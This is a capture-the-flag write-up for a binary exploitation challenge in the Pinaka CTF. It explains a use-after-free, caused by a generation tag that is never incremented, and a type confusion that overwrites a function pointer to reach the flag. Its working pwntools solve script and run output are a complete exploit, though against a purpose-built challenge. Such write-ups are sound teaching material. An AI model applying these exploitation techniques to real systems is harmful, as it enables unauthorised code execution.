Lankadahana: Trial by Agni
By Team Cryptonite · 5 min read
About the CTF: Pinaka CTF
Hanuman's tail was set alight, so he set all of Lanka ablaze. The city's memory burns in a machine that trusts its own ashes. Light the first spark and let the fire spread.
**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups
Hanuman's tail was set alight, so he set all of Lanka ablaze. The city's memory burns in a machine that trusts its own ashes. Light the first spark and let the fire spread.
Target: nc 137.23.48.54 10000
Category: PWN / Binary Exploitation Flag format: PINAKA{...}
Solve
Checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
On extracting libc from the docker it was 2.41

So we assumed next pointer mangling to be on and solved accordingly.
We began with the usual checks. The binary had Full RELRO, a stack canary, NX and PIE. It was a small C++ program, but stripped, so there were no helpful function names beyond the imported libc calls.
main was easy enough to find from the entry point. It read one byte at a time and used that byte as an index into a jump table. After reversing the cases, the protocol looked roughly like this:
| Opcode | What it did |
| --- | --- |
| 1 | Allocate an object: 01 <type> -> u16 handle |
| 2 | Write to an object: 02 <handle> <offset> <len> <data> |
| 3 | Read from an object: 03 <handle> <offset> <len> -> length + data |
| 5 | Create an event for a handle |
| 6 | Fire an event |
| 7 | Service an event queue |
| 8 | Call a "special" handle |
| 0x10 | Submit a gate answer |
| 0x11 | Dump some internal state |
The allocator always handed out 0x60-byte chunks. Each object had a small header, and the user data started at offset 0x10:
node + 0x00 : generation tag
node + 0x04 : event/pin count
node + 0x06 : alive flag
node + 0x08 : free-list next pointer
node + 0x10 : user area
Every handle entry remembered the node pointer, the node type, and the generation it expected. Before a handle could be used, the lookup function checked that the entry was active, that the node was alive, and that the node's generation still matched the generation stored in the handle.
That last check was interesting. It looked like the binary was trying to protect against use-after-free, but when we followed the free and allocation paths, the generation was never incremented. Freeing a node only cleared the alive flag. Allocating that same chunk again set the alive flag back to 1, but left the generation alone. In other words, an old handle would start working again as soon as its chunk was reused.
Gate 1
At startup, the binary generated eight random bytes and stored them at node+0x18 of the node that the next allocation returned. Since user data starts at node+0x10, that was just user offset 8.
So gate 1 was a straightforward leak:
first = u16(req(p8(1) + p8(0), 2))
gate(read8(first))
read8 sent a read request for offset 8, length 8, and the secret came straight back. Submitting it moved us to gate 2.
Gate 2
The second gate was not a memory-corruption problem. At startup the program also built a random graph traversal and stored it in a byte vector. The trace looked like:
[node count] [steps...] [target index]
A 0 step meant "new node" (or a revisit), while a byte with the high bit set meant "pop this active node". The final byte picked one of the active nodes, and the answer was that node's visit count.
Opcode 0x11 dumped the trace while we were on gate 2. We replayed the same logic in Python and submitted the result:
trace = r.recvn(u16(r.recvn(2)))
active, revisits, counts = [], [], []
for step in trace[1:-1]:
if step == 0:
if revisits:
node = revisits.pop()
else:
node = len(counts)
counts.append(1)
active.append(node)
else:
node = active.pop(step & 0x7f)
counts[node] += 1
revisits.append(node)
gate(p32(counts[active[trace[-1]]]))
Gate 2 fell, and we were at gate 3.
Gate 3
Gate 3 wanted two different handles that pointed to the same node.
The missing generation increment made that almost trivial:
- Allocate a node and keep its handle (
first). - Release it. The node goes back to the free list, but the old handle entry stays behind.
- Allocate again. The allocator reuses the same chunk and sets it alive, but the generation is unchanged.
- The old
firsthandle now passes the lookup check again, and the new handle points to the same node.
release(first)
second = u16(req(p8(1) + p8(0), 2))
gate(p16(first) + p16(second))
That was gate 3.
Gate 4
We freed the shared node again, then allocated it as a type-3 object. Type 3 turned the node into a callable object and stored the runtime address of 0x3600 at node+0x18.
The stale first handle could still read that location, so it leaked a PIE address for us:
ch = u16(req(p8(1) + p8(3), 2)) # type 3 node
cb = u64(read8(first)) # runtime address of 0x3600
While the gate was at state 4, opcode 0x11 also leaked the random eight-byte XOR key. Gate 4's expected answer was simply:
address_of_0x3600 ^ key
So we sent:
req(p8(0x11), 1)
r.recvn(2)
gate(p64(cb ^ u64(r.recvn(8))))
And that was gate 4.
Gate 5
The fifth gate was the actual exploit.
A type-3 node could be invoked with opcode 8. Internally, the program did something equivalent to:
void (*fn)(void *) = *(void **)(node_data + 8);
fn(node_data);
The function pointer lived at user offset 8. We still had the stale first handle, but its handle entry still said the object was a normal type (0x4701), while the actual node had become the callable type (0x4704). The write handler used the handle entry's type for its bounds check, so it let us write eight bytes at offset 8 and overwrite the function pointer.
There was one more wrinkle: the correct target depended on ASLR. The binary had twelve small handlers at 0x3700, 0x3800, ..., 0x4200. Each one set the expected gate-5 index and jumped to the final check. The index the binary expected was:
r = (cb >> 12) % 12
so the right handler for the current run was:
t = cb + 0x100 * (r + 1)
We overwrote the callable node's function pointer with t, then invoked it:
req(p8(2) + p16(first) + p16(8) + p16(8) + p64(t), 1)
r.send(p8(8) + p16(ch))
The call landed in the correct handler, which jumped to the final gate check. Since the gate state was 5 and we had not tripped the failure counter, the program took its victory path and called getenv("PINAKA_FLAG").

Solve script:
#!/usr/bin/env python3
import os
from pwn import *
exe = ELF("lanka-dahan")
context.binary = exe
def conn():
if args.LOCAL:
env = os.environ.copy()
env.setdefault("PINAKA_FLAG", "ggfez - hey dont say that - fricking ez")
r = process([exe.path], env=env)
if args.GDB:
gdb.attach(r)
else:
r = remote("137.23.48.54", 10000)
print(r.recvline().decode().strip())
return r
def main():
r = conn()
def req(payload, size):
r.send(payload)
return r.recvn(size)
def gate(answer):
req(p8(0x10) + p16(len(answer)) + answer, 1)
print(r.recvn(u16(r.recvn(2))).decode())
def read8(handle):
req(p8(3) + p16(handle) + p16(8) + p16(8), 2)
return r.recvn(8)
def release(handle):
event = u16(req(p8(5) + p16(handle) + p8(0), 2))
for payload in (p8(6) + p16(event), p8(7) + p8(0), p8(7) + p8(0)):
req(payload, 1)
first = u16(req(p8(1) + p8(0), 2))
gate(read8(first))
req(p8(0x11), 1)
trace = r.recvn(u16(r.recvn(2)))
active, revisits, counts = [], [], []
for step in trace[1:-1]:
if step == 0:
if revisits:
node = revisits.pop()
else:
node = len(counts)
counts.append(1)
active.append(node)
else:
node = active.pop(step & 0x7f)
counts[node] += 1
revisits.append(node)
gate(p32(counts[active[trace[-1]]]))
release(first)
second = u16(req(p8(1) + p8(0), 2))
gate(p16(first) + p16(second))
release(second)
ch = u16(req(p8(1) + p8(3), 2))
cb = u64(read8(first))
req(p8(0x11), 1)
r.recvn(2)
gate(p64(cb ^ u64(r.recvn(8))))
t = cb + 0x100 * ((cb >> 12) % 12 + 1)
req(p8(2) + p16(first) + p16(8) + p16(8) + p64(t), 1)
r.send(p8(8) + p16(ch))
print(r.recvn(u16(r.recvn(2))).decode())
print(r.recvn(u16(r.recvn(2))).decode())
r.close()
if __name__ == "__main__":
main()
Local solve:
(.cwvenv) -> ~/Documents/Cryptonite_HW/ctfs/pinaja/06-Lankadahana python3 solve.py LOCAL
[*] '/home/haard/Documents/Cryptonite_HW/ctfs/pinaja/06-Lankadahana/lanka-dahan'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/haard/Documents/Cryptonite_HW/ctfs/pinaja/06-Lankadahana/solve.py:26: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#bytes
r = conn()
[+] Starting local process '/home/haard/Documents/Cryptonite_HW/ctfs/pinaja/06-Lankadahana/lanka-dahan': pid 1452797
[1/5] A gate gives way. Smoke drifts over the first rampart.
[2/5] The watch-fires gutter out. The second gate falls.
[3/5] Timbers crack and char. The third gate is breached.
[4/5] The keep's doors split wide. Only the inner sanctum holds now.
[5/5] Lanka is ablaze -- the last gate falls to ash. Take your prize:
ggfez - hey dont say that - fricking ez
[*] Stopped process '/home/haard/Documents/Cryptonite_HW/ctfs/pinaja/06-Lankadahana/lanka-dahan' (pid 1452797)
Flag:
PINAKA{lanka_burns_when_the_g3n3ration_tag_f0rg3ts_t0_incr3m3nt}